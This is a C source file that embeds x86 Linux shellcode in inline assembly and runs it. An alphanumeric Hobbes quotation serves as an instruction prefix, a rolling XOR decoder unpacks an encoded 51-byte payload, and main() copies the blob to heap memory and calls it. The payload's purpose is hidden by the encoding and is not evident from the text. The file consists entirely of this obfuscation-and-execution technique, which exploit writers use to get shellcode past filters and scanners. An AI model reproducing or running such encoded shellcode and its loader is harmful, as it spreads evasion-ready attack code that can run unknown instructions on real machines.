#include <stdio.h>
#include <stdlib.h>
#include <string.h>
__asm__(
"# ia32/linux \n"
"sc_start: \n"
".ascii \"_DESIRE__TO_KNOW_WHY_AND_HOW__\" \"CURIOSITY\" \n"
".ascii \"__SUCH_AS_IS_IN_NO_LIVING_CREATURE_\" \n"
".ascii \"BUT_\" \"MAN\" \"__SO_THAT_MAN_IS_DISTINGUISHED_\" \n"
".ascii \"NOT_ONLY_BY_HIS_REASON_BUT_ALSO_BY_THIS_SINGULAR\" \n"
".ascii \"_PASSION_FROM_OTHER_\" \"ANIMALS\" \n"
".ascii \"__IN_WHOM_THE_APPETITE_OF_FOOD__AND_OTHER_PLEASURES\" \n"
".ascii \"_OF_SENSE__\" \n"
".ascii \"BY_PREDOMINANCE_TAKE_AWAY_THE_CARE_OF_KNOWING_CAUSES\"\n"
".ascii \"__WHICH_IS_A_LUST_OF_THE_MIND__\" \n"
".ascii \"THAT_BY_A_PERSEVERANCE_OF_DELIGHT_IN_THE_CONTINUAL_\" \n"
".ascii \"AND_INDEFATIGABLE_\" \n"
".ascii \"GENERATION_OF_KNOWLEDGE_EXCEEDETH_\" \n"
".ascii \"THE_SHORT_VEHEMENCE_OF_ANY_CARNAL_PLEASURE_\" \n"
"jmp .+0x14 \n"
"xor %ecx, %ecx \n"
"xor %ebx, %ebx \n"
"movb $0x33, %cl \n"
"movb $0x41, %bl \n"
"pop %eax \n"
"push %eax \n"
"xor %bl, (%eax) \n"
"inc %bl \n"
"inc %eax \n"
"loop .-0x05 \n"
"ret \n"
"call .-0x12 \n"
".ascii \"\\x14\\xcb\\xa6\\x75\\x85\\x77\\x9c\\x79\\x9b\" \n"
".ascii \"\\x19\\x23\\x27\\x28\\x3c\\x45\\x38\\x71\\x3a\" \n"
".ascii \"\\x32\\x37\\x3d\\x22\\x3f\\x3d\\x2b\\x32\\x7b\" \n"
".ascii \"\\x3d\\x33\\x31\\x37\\x0a\\x14\\x11\\x17\\xed\" \n"
".ascii \"\\x84\\xd4\\x73\\xd8\\x6d\\xa7\\xeb\\x5d\\xad\" \n"
".ascii \"\\xde\\x6e\\xbd\\xf1\\xbb\\xb0\" \n"
"sc_end: \n"
);
int
main(void) {
extern unsigned char sc_start, sc_end;
size_t sc_len;
void (*exec_fptr)() = NULL;
unsigned char *sc_ptr = NULL;
sc_len = &sc_end - &sc_start;
sc_ptr = calloc(sc_len, (size_t)1);
if (NULL == sc_ptr) {
perror("calloc()");
return EXIT_FAILURE;
}
memcpy(sc_ptr, &sc_start, sc_len);
exec_fptr = (void *)sc_ptr;
exec_fptr();
return EXIT_SUCCESS;
}